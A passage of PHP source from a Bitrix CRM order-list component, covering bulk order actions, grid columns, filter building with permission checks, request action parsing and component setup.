                            if (!$actionData['ALL_ROWS'])
                                $statFilter = array('ID' => $actionData['ID']);
                            else
                                $statFilter += $filter;

                            $res = Bitrix\Crm\Order\Order::getList(array('filter' => $statFilter));

                            while ($orderFields = $res->fetch()) {
                                if (\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($orderFields['ID'], $this->userPermissions)) {
                                    $order = Order\Order::load($orderFields['ID']);

                                    if (!$order) {
                                        $this->addError(Loc::getMessage('CRM_ORDER_NOT_LOADED', ['#ID#' => $orderFields['ID']]));
                                        continue;
                                    }

                                    $order->setFieldNoDemand(
                                        'RESPONSIBLE_ID',
                                        $actionData['RESPONSIBLE_BY_ID']
                                    );

                                    $order->save();
                                }
                            }
                        }
                    }
                }

                if (!$actionData['AJAX_CALL']) {
                    LocalRedirect($this->arParams['PATH_TO_CURRENT_LIST']);
                }
            } else//if ($actionData['METHOD'] == 'GET')
            {
                if ($actionData['NAME'] == 'delete' && isset($actionData['ID'])) {
                    $ID = (int)$actionData['ID'];

                    if (\Bitrix\Crm\Order\Permissions\Order::checkDeletePermission($ID, $this->userPermissions)) {
                        $res = Order\Order::delete($ID);

                        if (!$res->isSuccess()) {
                            $this->addErrors($res->getErrorMessages());
                        }
                    } else {
                        $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED'));
                    }
                }

                if (!$actionData['AJAX_CALL']) {
                    if ($this->isInternal) {
                        LocalRedirect('?' . $this->arParams['FORM_ID'] . '_active_tab=tab_order');
                    } else {
                        LocalRedirect($this->arParams['PATH_TO_CURRENT_LIST']);
                    }
                }
            }
        }
    }

    protected function getHeaders()
    {
        $result = array(
            array('id' => 'ORDER_SUMMARY', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_SUMMARY'), 'sort' => 'ID', 'width' => 300, 'default' => true, 'editable' => false),
            array('id' => 'DATE_INSERT', 'name' => Loc::getMessage('CRM_COLUMN_DATE_INSERT'), 'default' => true, 'sort' => 'DATE_INSERT', 'editable' => false, 'type' => 'date', 'class' => 'date'),
            array('id' => 'STATUS_ID', 'name' => Loc::getMessage('CRM_COLUMN_STATUS_ID'), 'sort' => 'STATUS_ID', 'default' => true),
            array('id' => 'SUM', 'name' => Loc::getMessage('CRM_COLUMN_SUM'), 'sort' => 'PRICE', 'default' => true, 'editable' => false, 'align' => 'right'),
            array('id' => 'RESPONSIBLE_BY', 'name' => Loc::getMessage('CRM_COLUMN_RESPONSIBLE_BY'), 'default' => true, 'sort' => 'RESPONSIBLE_ID', 'editable' => false),
            array('id' => 'PAYED', 'name' => Loc::getMessage('CRM_COLUMN_PAYED'), 'sort' => 'PAYED', 'editable' => false, 'default' => true)
        );

        // Dont display activities in INTERNAL mode.
        if (!$this->isInternal) {
            $result[] = array(
                'id' => 'ACTIVITY_ID',
                'name' => Loc::getMessage('CRM_COLUMN_ACTIVITY'),
                'sort' => false, //'nearest_activity',
                'default' => true,
                'prevent_default' => false
            );
        }

        $result = array_merge(
            $result,
            array(
                array('id' => 'SOURCE', 'name' => Loc::getMessage('CRM_COLUMN_SOURCE'), 'default' => true, 'editable' => false),
                array('id' => 'USER', 'name' => Loc::getMessage('CRM_COLUMN_USER_ID'), 'sort' => 'USER_ID', 'editable' => false, 'default' => true),
                array('id' => 'ID', 'name' => Loc::getMessage('CRM_COLUMN_ID'), 'sort' => 'ID', 'editable' => false, 'type' => 'int'),
                array('id' => 'PERSON_TYPE_ID', 'name' => Loc::getMessage('CRM_COLUMN_PERSON_TYPE_ID'), 'sort' => 'PERSON_TYPE_ID', 'default' => false, 'editable' => false, 'class' => 'username'),
                array('id' => 'DATE_PAYED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_PAYED'), 'sort' => 'DATE_PAYED', 'editable' => false, 'type' => 'date', 'class' => 'date'),
                array('id' => 'EMP_PAYED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_PAYED_ID'), 'sort' => 'EMP_PAYED_ID', 'editable' => false),
                array('id' => 'CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_CANCELED'), 'sort' => 'CANCELED', 'editable' => false),
                array('id' => 'DATE_CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_CANCELED'), 'sort' => 'DATE_CANCELED', 'editable' => false, 'type' => 'date', 'class' => 'date'),
                array('id' => 'EMP_CANCELED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_CANCELED_ID'), 'sort' => 'EMP_CANCELED_ID', 'editable' => false),
                array('id' => 'REASON_CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_REASON_CANCELED'), 'sort' => 'REASON_CANCELED', 'editable' => false),
                array('id' => 'DATE_STATUS', 'name' => Loc::getMessage('CRM_COLUMN_DATE_STATUS'), 'sort' => 'DATE_STATUS', 'editable' => false, 'type' => 'date', 'class' => 'date'),
                array('id' => 'EMP_STATUS_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_STATUS_ID'), 'sort' => 'EMP_STATUS_ID'),
                array('id' => 'PRICE_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_PRICE_DELIVERY'), 'sort' => 'PRICE_DELIVERY', 'editable' => false),
                array('id' => 'ALLOW_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_ALLOW_DELIVERY'), 'sort' => 'ALLOW_DELIVERY', 'default' => false, 'editable' => false),
                array('id' => 'DATE_ALLOW_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_DATE_ALLOW_DELIVERY'), 'sort' => false, 'editable' => false, 'type' => 'date', 'class' => 'date'),
                array('id' => 'EMP_ALLOW_DELIVERY_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_ALLOW_DELIVERY'), 'sort' => 'EMP_ALLOW_DELIVERY_ID', 'default' => false),
                array('id' => 'DEDUCTED', 'name' => Loc::getMessage('CRM_COLUMN_DEDUCTED'), 'sort' => 'DEDUCTED', 'editable' => false),
                array('id' => 'DATE_DEDUCTED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_DEDUCTED'), 'sort' => false, 'editable' => false),
                array('id' => 'EMP_DEDUCTED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_DEDUCTED_ID'), 'sort' => false),
                array('id' => 'MARKED', 'name' => Loc::getMessage('CRM_COLUMN_MARKED'), 'sort' => 'MARKED', 'editable' => false),
                array('id' => 'RESERVED', 'name' => Loc::getMessage('CRM_COLUMN_RESERVED'), 'sort' => 'RESERVED', 'editable' => false),
                array('id' => 'CURRENCY', 'name' => Loc::getMessage('CRM_COLUMN_CURRENCY'), 'sort' => 'CURRENCY', 'editable' => false),
                array('id' => 'DISCOUNT_VALUE', 'name' => Loc::getMessage('CRM_COLUMN_DISCOUNT_VALUE'), 'sort' => false, 'editable' => false),
                array('id' => 'DATE_UPDATE', 'name' => Loc::getMessage('CRM_COLUMN_DATE_UPDATE'), 'sort' => 'DATE_UPDATE', 'editable' => false, 'type' => 'date', 'class' => 'date'),
                array('id' => 'COMMENTS', 'name' => Loc::getMessage('CRM_COLUMN_COMMENTS'), 'sort' => 'COMMENTS', 'editable' => false),
                array('id' => 'TAX_VALUE', 'name' => Loc::getMessage('CRM_COLUMN_TAX_VALUE'), 'sort' => 'TAX_VALUE', 'editable' => false),
                array('id' => 'SUM_PAID', 'name' => Loc::getMessage('CRM_COLUMN_SUM_PAID'), 'sort' => 'SUM_PAID', 'editable' => false),
                array('id' => 'CREATED_BY', 'name' => Loc::getMessage('CRM_COLUMN_CREATED_BY'), 'sort' => 'CREATED_BY', 'editable' => false),
                array('id' => 'ACCOUNT_NUMBER', 'name' => Loc::getMessage('CRM_COLUMN_ACCOUNT_NUMBER'), 'sort' => 'ACCOUNT_NUMBER', 'editable' => false),
                array('id' => 'ORDER_TOPIC', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_TOPIC2'), 'sort' => 'order_topic', 'default' => false, 'editable' => false),
                array('id' => 'BASKET', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_BASKET'), 'default' => false, 'editable' => false),
                array('id' => 'SHIPMENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_SHIPMENT'), 'default' => false, 'editable' => false),
                array('id' => 'PAYMENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_PAYMENT'), 'default' => false, 'editable' => false),
                array('id' => 'PROPS', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_PROPS'), 'default' => false, 'editable' => false),
                array('id' => 'CLIENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_CLIENT'), 'default' => false, 'editable' => false),
                array('id' => 'COMPANY', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_COMPANY'), 'default' => false, 'editable' => false),
                array('id' => 'CONTACT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_CONTACT'), 'default' => false, 'editable' => false),
            )
        );

        Tracking\UI\Grid::appendColumns($result);

        return $result;
    }

    protected function createFilter()
    {
        $filter = array();

        if ($this->isInternal) {
            if (is_array($this->arParams['INTERNAL_FILTER'])) {
                $filter = $this->arParams['INTERNAL_FILTER'];
            }
        } else {
            $request = Bitrix\Main\Application::getInstance()->getContext()->getRequest();
            if ($request->getQuery('from_analytics') === 'Y') {
                $boardId = $request->getQuery('board_id');
                $this->arResult['GRID_ID'] = 'report_' . $boardId . '_filter';
                $this->arResult['FILTER_PRESETS'] = [];
                $this->arResult['IS_EXTERNAL_FILTER'] = true;
            }

            $entityFilter = \Bitrix\Crm\Filter\Factory::createEntityFilter(
                new \Bitrix\Crm\Filter\OrderSettings(
                    array('ID' => $this->arResult['GRID_ID'])
                )
            );
            $filterFields = $entityFilter->getFieldArrays();

            $filterOptions = new \Bitrix\Main\UI\Filter\Options($this->arResult['GRID_ID'], $this->arResult['FILTER_PRESETS']);
            $filter += $filterOptions->getFilter($filterFields);

            $effectiveFilterFieldIDs = $filterOptions->getUsedFields();

            if (empty($effectiveFilterFieldIDs)) {
                $effectiveFilterFieldIDs = $entityFilter->getDefaultFieldIDs();
            }

            if (!in_array('ACTIVITY_COUNTER', $effectiveFilterFieldIDs, true)) {
                $effectiveFilterFieldIDs[] = 'ACTIVITY_COUNTER';
            }

            Tracking\UI\Filter::appendEffectiveFields($effectiveFilterFieldIDs);

            foreach ($effectiveFilterFieldIDs as $filterFieldID) {
                $filterField = $entityFilter->getField($filterFieldID);

                if ($filterField) {
                    $this->arResult['FILTER'][] = $filterField->toArray();
                }
            }
        }

        return $filter;
    }

    public function createGlFilter(array $filter, array &$runtime)
    {
        global $USER, $USER_FIELD_MANAGER;

        $result = array();
        $orderFields = array_flip(\Bitrix\Crm\Order\Order::getAllFields());

        $contactIds = [];
        $companyId = null;

        $filter = $this->formatUIFilter($filter);

        $searchRestriction = \Bitrix\Crm\Restriction\RestrictionManager::getSearchLimitRestriction();
        if (!$searchRestriction->isExceeded(CCrmOwnerType::Order)) {
            Bitrix\Crm\Search\SearchEnvironment::convertEntityFilterValues(CCrmOwnerType::Order, $filter);
            if (isset($filter['SEARCH_CONTENT'])) {
                $searchValue = $filter['SEARCH_CONTENT'];
                unset($filter['SEARCH_CONTENT']);
                if (is_string($searchValue)) {
                    $filter = array_merge($filter, $this->prepareSearchFilterValue($searchValue));
                }
            }
        } else {
            $this->arResult['LIVE_SEARCH_LIMIT_INFO'] = $searchRestriction->prepareStubInfo(
                array('ENTITY_TYPE_ID' => CCrmOwnerType::Order)
            );
        }

        $userType = new CCrmUserType($USER_FIELD_MANAGER, Order\Order::getUfId());
        $orderUserFields = $userType->GetFields();
        $propertyItterator = 0;
        foreach ($filter as $k => $v) {
            $name = preg_replace('/^\W+/', '', $k);

            if ($name === 'COMPANY_ID') {
                $companyId = $v;
            } elseif ($name === 'ASSOCIATED_CONTACT_ID') {
                if (!is_array($v)) {
                    $contactIds = [$v];
                } else {
                    $contactIds = $v;
                }
            } elseif ($name === 'SOURCE_ID') {
                $result['TRADING_PLATFORM.TRADING_PLATFORM_ID'] = $v;
            } elseif ($name === 'PAY_SYSTEM') {
                $result['PAYMENT.PAY_SYSTEM_ID'] = $v;
            } elseif ($name === 'DELIVERY_SERVICE') {
                $result['SHIPMENT.DELIVERY_ID'] = $v;
                $result['SHIPMENT.SYSTEM'] = 'N';
            } elseif ($name === 'ASSOCIATED_DEAL_ID') {
                $result['=ORDER_DEAL.DEAL_ID'] = $v;
                $this->addOrderDealRuntime($runtime);
            } elseif ($name === 'HAS_ASSOCIATED_DEAL') {
                $key = sprintf(
                    '%s=ORDER_DEAL.ORDER_ID',
                    ($v === 'Y') ? '!' : ''
                );
                $result[$key] = null;
                $this->addOrderDealRuntime($runtime);
            } elseif ($name === 'COUPON') {
                $result['=ORDER_COUPONS.COUPON'] = $v;
            } elseif ($name === 'XML_ID') {
                $result['%XML_ID'] = $v;
            } elseif ($name === 'SHIPMENT_TRACKING_NUMBER') {
                $result['%SHIPMENT.TRACKING_NUMBER'] = $v;
            } elseif ($name === 'SHIPMENT_DELIVERY_DOC_DATE') {
                $docDateName = str_replace('SHIPMENT_DELIVERY_DOC_DATE', 'SHIPMENT.DELIVERY_DOC_DATE', $k);
                $result[$docDateName] = $v;
            } elseif ($name === 'CHECK_PRINTED') {
                if ($v === 'Y') {
                    $result['ORDER_CHECK_PRINTED.STATUS'] = 'Y';
                } else {
                    $result[] = [
                        'LOGIC' => 'OR',
                        '=ORDER_CHECK_PRINTED.STATUS' => null,
                        '@ORDER_CHECK_PRINTED.STATUS' => ['N', 'P', 'E']
                    ];
                }

                $runtime[] = new Main\ORM\Fields\Relations\Reference(
                    'ORDER_CHECK_PRINTED',
                    \Bitrix\Sale\Cashbox\Internals\CashboxCheckTable::getEntity(),
                    ['=ref.ORDER_ID' => 'this.ID',],
                    ['join_type' => 'LEFT',]
                );
            } elseif ($name === 'USER') {
                $buyerFilter = Main\UserUtils::getAdminSearchFilter([
                    'FIND' => $v
                ]);
                foreach ($buyerFilter as $key => $userFilterItem) {
                    $key = str_replace('INDEX', 'USER.INDEX', $key);
                    $result[$key] = $userFilterItem;
                }
            }
            if (preg_match("/^PROPERTY_/", $name)) {
                $propertyId = (int)str_replace('PROPERTY_', '', $name);
                if ("PROPERTY_{$propertyId}" !== $name) {
                    continue;
                }

                $propertyTableName = "PROPERTY_{$propertyItterator}";
                $propertyValueCode = str_replace($name, "{$propertyTableName}.VALUE", $k);

                if (preg_match('/^[A-Z]/', $propertyValueCode)) {
                    $propertyValueCode = "%{$propertyValueCode}";
                }

                $runtime[] =
                    new Main\Entity\ReferenceField($propertyTableName,
                        \Bitrix\Sale\Internals\OrderPropsValueTable::getEntity(),
                        array(
                            '=ref.ORDER_ID' => 'this.ID',
                        ),
                        array('join_type' => 'inner')
                    );

                $result[] = [
                    "={$propertyTableName}.ORDER_PROPS_ID" => $propertyId,
                    $propertyValueCode => $v
                ];

                $propertyItterator++;
            } elseif (isset($orderUserFields[$name]) && mb_strpos($name, 'UF_') === 0) {
                $result[$k] = $v;
            } elseif (isset($orderFields[$name])) {
                $result[$k] = $v;
            }
        }

        if (isset($this->arParams['EXTERNAL_FILTER']['USER_ID']) && intval($this->arParams['EXTERNAL_FILTER']['USER_ID']) > 0) {
            $result['=USER_ID'] = intval($this->arParams['EXTERNAL_FILTER']['USER_ID']);
        }

        if (isset($filter['ACTIVITY_COUNTER'])) {
            $this->addActivityCounterFilter($filter, $result, $runtime);
        }

        $contactCompanyFilter = $this->prepareContactCompanyFilter($companyId, $contactIds);
        if (!empty($contactCompanyFilter)) {
            //caution! can be problem with filtering by companies from holding from sale module.
            unset($result['COMPANY_ID'], $result['=COMPANY_ID']);

            $result = array_merge($result, $contactCompanyFilter);
            $runtime[] =
                new Main\Entity\ReferenceField('CLIENT',
                    \Bitrix\Crm\Binding\OrderContactCompanyTable::getEntity(),
                    array(
                        '=ref.ORDER_ID' => 'this.ID',
                    ),
                    array('join_type' => 'LEFT')
                );
        }

        if (!(is_object($USER) && $USER->IsAdmin())
            && (!array_key_exists('CHECK_PERMISSIONS', $filter) || $filter['CHECK_PERMISSIONS'] !== 'N')
        ) {
            $permissionSql = \CCrmPerms::BuildSql(
                \CCrmOwnerType::OrderName,
                '',
                'READ',
                array('RAW_QUERY' => true, 'PERMS' => \CCrmPerms::GetCurrentUserPermissions())
            );

            if ($permissionSql <> '') {
                if (isset($result['@ID'])) {
                    $result[] = [
                        '@ID' => new Bitrix\Main\DB\SqlExpression($permissionSql)
                    ];
                } else {
                    $result['@ID'] = new Bitrix\Main\DB\SqlExpression($permissionSql);
                }
            }
        }

        Tracking\UI\Filter::buildOrmFilter($result, $filter, \CCrmOwnerType::Order, $runtime);

        return $result;
    }

    private function formatUIFilter(array $filter)
    {
        foreach ($filter as $k => $v) {
            if (preg_match('/(.*)_from$/i' . BX_UTF_PCRE_MODIFIER, $k, $arMatch)) {
                \Bitrix\Crm\UI\Filter\Range::prepareFrom($filter, $arMatch[1], $v);
            } elseif (preg_match('/(.*)_to$/i' . BX_UTF_PCRE_MODIFIER, $k, $arMatch)) {
                $dateFieldNames = ['DATE_INSERT', 'DATE_UPDATE', 'SHIPMENT_DELIVERY_DOC_DATE'];
                if ($v != '' && in_array($arMatch[1], $dateFieldNames) && !preg_match('/\d{1,2}:\d{1,2}(:\d{1,2})?$/' . BX_UTF_PCRE_MODIFIER, $v)) {
                    $v = CCrmDateTimeHelper::SetMaxDayTime($v);
                }

                \Bitrix\Crm\UI\Filter\Range::prepareTo($filter, $arMatch[1], $v);
            }
        }
        return $filter;
    }

    private function prepareSearchFilterValue($value)
    {
        $preparedFindFilter = [];
        $find = trim($value);
        if ($find !== '') {
            $preparedFindFilter = \Bitrix\Crm\Search\SearchEnvironment::prepareEntityFilter(
                CCrmOwnerType::Order,
                array(
                    'SEARCH_CONTENT' => \Bitrix\Crm\Search\SearchEnvironment::prepareSearchContent($find)
                )
            );
        }
        return $preparedFindFilter;
    }

    private function prepareContactCompanyFilter($companyId, array $contactIds)
    {
        $result = [];
        if (isset($this->arParams['EXTERNAL_FILTER']) && is_array($this->arParams['EXTERNAL_FILTER'])) {
            if (isset($this->arParams['EXTERNAL_FILTER']['CONTACT_IDS']) && is_array($this->arParams['EXTERNAL_FILTER']['CONTACT_IDS'])) {
                $contactIds = $this->arParams['EXTERNAL_FILTER']['CONTACT_IDS'];
            }
            if (isset($this->arParams['EXTERNAL_FILTER']['COMPANY_ID'])) {
                $companyId = $this->arParams['EXTERNAL_FILTER']['COMPANY_ID'];
            }
        }

        if ($companyId > 0 && !empty($contactIds)) {
            $result[] = [
                'LOGIC' => 'OR',
                [
                    '=CLIENT.ENTITY_TYPE_ID' => CCrmOwnerType::Company,
                    '=CLIENT.ENTITY_ID' => $companyId,
                ],
                [
                    '=CLIENT.ENTITY_TYPE_ID' => CCrmOwnerType::Contact,
                    '=CLIENT.ENTITY_ID' => $contactIds,
                ],
            ];
        } elseif ($companyId > 0) {
            $result['=CLIENT.ENTITY_ID'] = $companyId;
            $result['=CLIENT.ENTITY_TYPE_ID'] = CCrmOwnerType::Company;
        } elseif (!empty($contactIds)) {
            $result['=CLIENT.ENTITY_ID'] = $contactIds;
            $result['=CLIENT.ENTITY_TYPE_ID'] = CCrmOwnerType::Contact;
        }

        return $result;
    }

    protected function getActionData()
    {
        //region Try to extract user action data
        // We have to extract them before call of CGridOptions::GetFilter() or the custom filter will be corrupted.
        $actionData = array(
            'METHOD' => $_SERVER['REQUEST_METHOD'],
            'ACTIVE' => false
        );

        if (check_bitrix_sessid()) {
            $postAction = 'action_button_' . $this->arResult['GRID_ID'];
            $getAction = 'action_' . $this->arResult['GRID_ID'];
            //We need to check grid 'controls'
            $controls = isset($_POST['controls']) && is_array($_POST['controls']) ? $_POST['controls'] : array();
            if ($actionData['METHOD'] == 'POST' && (isset($controls[$postAction]) || isset($_POST[$postAction]))) {
                CUtil::JSPostUnescape();

                $actionData['ACTIVE'] = true;

                if (isset($controls[$postAction])) {
                    $actionData['NAME'] = $controls[$postAction];
                } else {
                    $actionData['NAME'] = $_POST[$postAction];
                    unset($_POST[$postAction], $_REQUEST[$postAction]);
                }

                $allRows = 'action_all_rows_' . $this->arResult['GRID_ID'];
                $actionData['ALL_ROWS'] = false;
                if (isset($controls[$allRows])) {
                    $actionData['ALL_ROWS'] = $controls[$allRows] == 'Y';
                } elseif (isset($_POST[$allRows])) {
                    $actionData['ALL_ROWS'] = $_POST[$allRows] == 'Y';
                    unset($_POST[$allRows], $_REQUEST[$allRows]);
                }

                if (isset($_POST['rows']) && is_array($_POST['rows'])) {
                    $actionData['ID'] = $_POST['rows'];
                } elseif (isset($_POST['ID'])) {
                    $actionData['ID'] = $_POST['ID'];
                    unset($_POST['ID'], $_REQUEST['ID']);
                }

                if (isset($_POST['FIELDS'])) {
                    $actionData['FIELDS'] = $_POST['FIELDS'];
                    unset($_POST['FIELDS'], $_REQUEST['FIELDS']);
                }

                if (isset($_POST['ACTION_STATUS_ID']) || isset($controls['ACTION_STATUS_ID'])) {
                    if (isset($_POST['ACTION_STATUS_ID'])) {
                        $actionData['STATUS_ID'] = trim($_POST['ACTION_STATUS_ID']);
                        unset($_POST['ACTION_STATUS_ID'], $_REQUEST['ACTION_STATUS_ID']);
                    } else {
                        $actionData['STATUS_ID'] = trim($controls['ACTION_STATUS_ID']);
                    }
                }

                if (isset($_POST['ACTION_LID']) || isset($controls['ACTION_LID'])) {
                    if (isset($_POST['ACTION_LID'])) {
                        $actionData['LID'] = intval($_POST['ACTION_LID']);
                        unset($_POST['ACTION_LID'], $_REQUEST['ACTION_LID']);
                    } else {
                        $actionData['LID'] = intval($controls['ACTION_LID']);
                    }
                }

                if (isset($_POST['ACTION_RESPONSIBLE_BY_ID']) || isset($controls['ACTION_RESPONSIBLE_BY_ID'])) {
                    $responsibleById = 0;
                    if (isset($_POST['ACTION_RESPONSIBLE_BY_ID'])) {
                        if (!is_array($_POST['ACTION_RESPONSIBLE_BY_ID'])) {
                            $responsibleById = intval($_POST['ACTION_RESPONSIBLE_BY_ID']);
                        } elseif (count($_POST['ACTION_RESPONSIBLE_BY_ID']) > 0) {
                            $responsibleById = intval($_POST['ACTION_RESPONSIBLE_BY_ID'][0]);
                        }
                        unset($_POST['ACTION_RESPONSIBLE_BY_ID'], $_REQUEST['ACTION_RESPONSIBLE_BY_ID']);
                    } else {
                        $responsibleById = (int)$controls['ACTION_RESPONSIBLE_BY_ID'];
                    }

                    $actionData['RESPONSIBLE_BY_ID'] = $responsibleById;
                }

                if (isset($_POST['ACTION_OPENED']) || isset($controls['ACTION_OPENED'])) {
                    if (isset($_POST['ACTION_OPENED'])) {
                        $actionData['OPENED'] = mb_strtoupper($_POST['ACTION_OPENED']) === 'Y' ? 'Y' : 'N';
                        unset($_POST['ACTION_OPENED'], $_REQUEST['ACTION_OPENED']);
                    } else {
                        $actionData['OPENED'] = mb_strtoupper($controls['ACTION_OPENED']) === 'Y' ? 'Y' : 'N';
                    }
                }

                $actionData['AJAX_CALL'] = $this->arResult['IS_AJAX_CALL'];
            } elseif ($actionData['METHOD'] == 'GET' && isset($_GET[$getAction])) {
                $actionData['ACTIVE'] = check_bitrix_sessid();

                $actionData['NAME'] = $_GET[$getAction];
                unset($_GET[$getAction], $_REQUEST[$getAction]);

                if (isset($_GET['ID'])) {
                    $actionData['ID'] = $_GET['ID'];
                    unset($_GET['ID'], $_REQUEST['ID']);
                }

                $actionData['AJAX_CALL'] = $this->arResult['IS_AJAX_CALL'];
            }
        }

        return $actionData;
    }

    /**
     * @param string $code
     * @param Bitrix\Sale\TradingPlatform\Platform $class
     * @return string
     */
    protected function getTradingPlatformName($code, $class)
    {
        if ($code == '' || !class_exists($class)) {
            return '';
        }

        $tradingPlatform = $class::getInstanceByCode($code);
        return $tradingPlatform->getRealName();
    }

    /**
     * @param array $arSort
     * @param Grid\Options $gridOptions
     * @param array $visibleColumns
     * @param array $headers
     * @return array
     */
    protected function getSortFields(array $arSort, Grid\Options $gridOptions, array $visibleColumns, array $headers): array
    {
        $gridSort = $gridOptions->GetSorting(array(
            'sort' => array('ID' => 'desc'),
            'vars' => array('by' => 'by', 'order' => 'order')
        ));

        $tmpSort = !empty($arSort) ? $arSort : $gridSort['sort'];
        $resultSort = [];

        foreach ($headers as $header) {
            if (empty($header['sort'])) {
                continue;
            }

            $sortColumn = $header['sort'];

            if (isset($tmpSort[$sortColumn])) {
                $resultSort[$sortColumn] = $tmpSort[$sortColumn];
                unset($tmpSort[$sortColumn]);

                if (empty($tmpSort[$sortColumn])) {
                    break;
                }
            }
        }

        return [$resultSort, $gridSort['vars']];
    }

    public function executeComponent()
    {
        global $USER_FIELD_MANAGER, $APPLICATION, $USER;

        if (!$this->init()) {
            $this->showErrors();
            return false;
        }

        $this->arParams = $this->prepareParams($this->arParams);

        if (!$this->initUrlBuilder()) {
            $this->showErrors();
            return false;
        }

        $currentPage = $APPLICATION->GetCurPage();
        $this->arResult['CURRENT_USER_ID'] = CCrmSecurityHelper::GetCurrentUserID();
        $this->arResult['PATH_TO_ORDER_LIST'] = $this->arParams['PATH_TO_ORDER_LIST'] = CrmCheckPath('PATH_TO_ORDER_LIST', $this->arParams['PATH_TO_ORDER_LIST'], $APPLICATION->GetCurPage());
        $this->arResult['PATH_TO_ORDER_WIDGET'] = $this->arParams['PATH_TO_ORDER_WIDGET'] = CrmCheckPath('PATH_TO_ORDER_WIDGET', $this->arParams['PATH_TO_ORDER_WIDGET'], $APPLICATION->GetCurPage());
        $this->arResult['PATH_TO_ORDER_KANBAN'] = $this->arParams['PATH_TO_ORDER_KANBAN'] = CrmCheckPath('PATH_TO_ORDER_KANBAN', $this->arParams['PATH_TO_ORDER_KANBAN'], $currentPage);
        $this->arResult['PATH_TO_CURRENT_LIST'] = ($this->arParams['IS_RECURRING'] !== 'Y') ? $this->arParams['PATH_TO_ORDER_LIST'] : $this->arParams['PATH_TO_ORDER_RECUR'];
        $this->arResult['ADD_EVENT_NAME'] = $this->arParams['ADD_EVENT_NAME'] !== ''
            ? preg_replace('/[^a-zA-Z0-9_]/', '', $this->arParams['ADD_EVENT_NAME']) : '';
        $this->arResult['IS_AJAX_CALL'] = isset($_REQUEST['AJAX_CALL']) || isset($_REQUEST['ajax_request']) || !!CAjax::GetSession();
        $this->arResult['SESSION_ID'] = bitrix_sessid();
        $this->arResult['NAVIGATION_CONTEXT_ID'] = isset($this->arParams['NAVIGATION_CONTEXT_ID']) ? $this->arParams['NAVIGATION_CONTEXT_ID'] : '';
        $this->arResult['PRESERVE_HISTORY'] = isset($this->arParams['PRESERVE_HISTORY']) ? $this->arParams['PRESERVE_HISTORY'] : false;
        $this->arResult['STATUS_LIST'] = [];

        $statusList = Order\OrderStatus::getListInCrmFormat();
        foreach ($statusList as $status) {
            $this->arResult['STATUS_LIST'][$status['STATUS_ID']] = htmlspecialcharsbx($status['NAME']);
        }

        $this->arResult['ENABLE_SLIDER'] = \Bitrix\Crm\Settings\LayoutSettings::getCurrent()->isSliderEnabled();

        if (LayoutSettings::getCurrent()->isSimpleTimeFormatEnabled()) {
            $this->arResult['TIME_FORMAT'] = array(
                'tommorow' => 'tommorow',
                's' => 'sago',
                'i' => 'iago',
                'H3' => 'Hago',
                'today' => 'today',
                'yesterday' => 'yesterday',
                //'d7' => 'dago',
                '-' => Main\Type\DateTime::convertFormatToPhp(FORMAT_DATE)
            );
        } else {
            $this->arResult['TIME_FORMAT'] = preg_replace('/:s$/', '', Main\Type\DateTime::convertFormatToPhp(FORMAT_DATETIME));
        }

        $this->arResult['SALESCENTER_MODE'] = ($this->arParams['SALESCENTER_MODE'] === true);
        $this->arResult['CALL_LIST_UPDATE_MODE'] = isset($_REQUEST['call_list_context']) && isset($_REQUEST['call_list_id']) && IsModuleInstalled('voximplant');
        $this->arResult['CALL_LIST_CONTEXT'] = (string)$_REQUEST['call_list_context'];
        $this->arResult['CALL_LIST_ID'] = (int)$_REQUEST['call_list_id'];

        if ($this->arResult['CALL_LIST_UPDATE_MODE']) {
            AddEventHandler('crm', 'onCrmOrderListItemBuildMenu', array('\Bitrix\Crm\CallList\CallList', 'handleOnCrmOrderListItemBuildMenu'));
        }

        \Bitrix\Crm\Order\Permissions\Order::prepareConversionPermissionFlags(0, $this->arResult, $this->userPermissions);

        if ($this->arResult['CAN_CONVERT']) {
            $config = \Bitrix\Crm\Conversion\OrderConversionConfig::load();
            if ($config === null) {
                $config = \Bitrix\Crm\Conversion\OrderConversionConfig::getDefault();
            }

            $this->arResult['CONVERSION_CONFIG'] = $config;
        }

        $arSort = array();
        $runtime = array();
        $this->arResult['FORM_ID'] = isset($this->arParams['FORM_ID']) ? $this->arParams['FORM_ID'] : '';
        $this->arResult['TAB_ID'] = isset($this->arParams['TAB_ID']) ? $this->arParams['TAB_ID'] : '';
        $this->arResult['INTERNAL'] = $this->isInternal;
        if (!empty($this->arParams['INTERNAL_FILTER']) && is_array($this->arParams['INTERNAL_FILTER'])) {
            if (empty($this->arParams['GRID_ID_SUFFIX'])) {
                $this->arParams['GRID_ID_SUFFIX'] = $this->GetParent() !== null ? mb_strtoupper($this->GetParent()->GetName()) : '';
            }
        }

        if (!empty($this->arParams['INTERNAL_SORT']) && is_array($this->arParams['INTERNAL_SORT']))
            $arSort = $this->arParams['INTERNAL_SORT'];

        $this->arResult['IS_EXTERNAL_FILTER'] = false;
        $CCrmUserType = new CCrmUserType($USER_FIELD_MANAGER, Order\Order::getUfId());
        $this->arResult['GRID_ID'] = $this->combineGridIdentifier();
        $this->arResult['EVENT_LIST'] = CCrmStatus::GetStatusListEx('EVENT_TYPE');
        $this->arResult['FILTER'] = array();
        $this->arResult['FILTER_PRESETS'] = array();
        $this->arResult['PERMS']['ADD'] = \Bitrix\Crm\Order\Permissions\Order::checkCreatePermission($this->userPermissions);
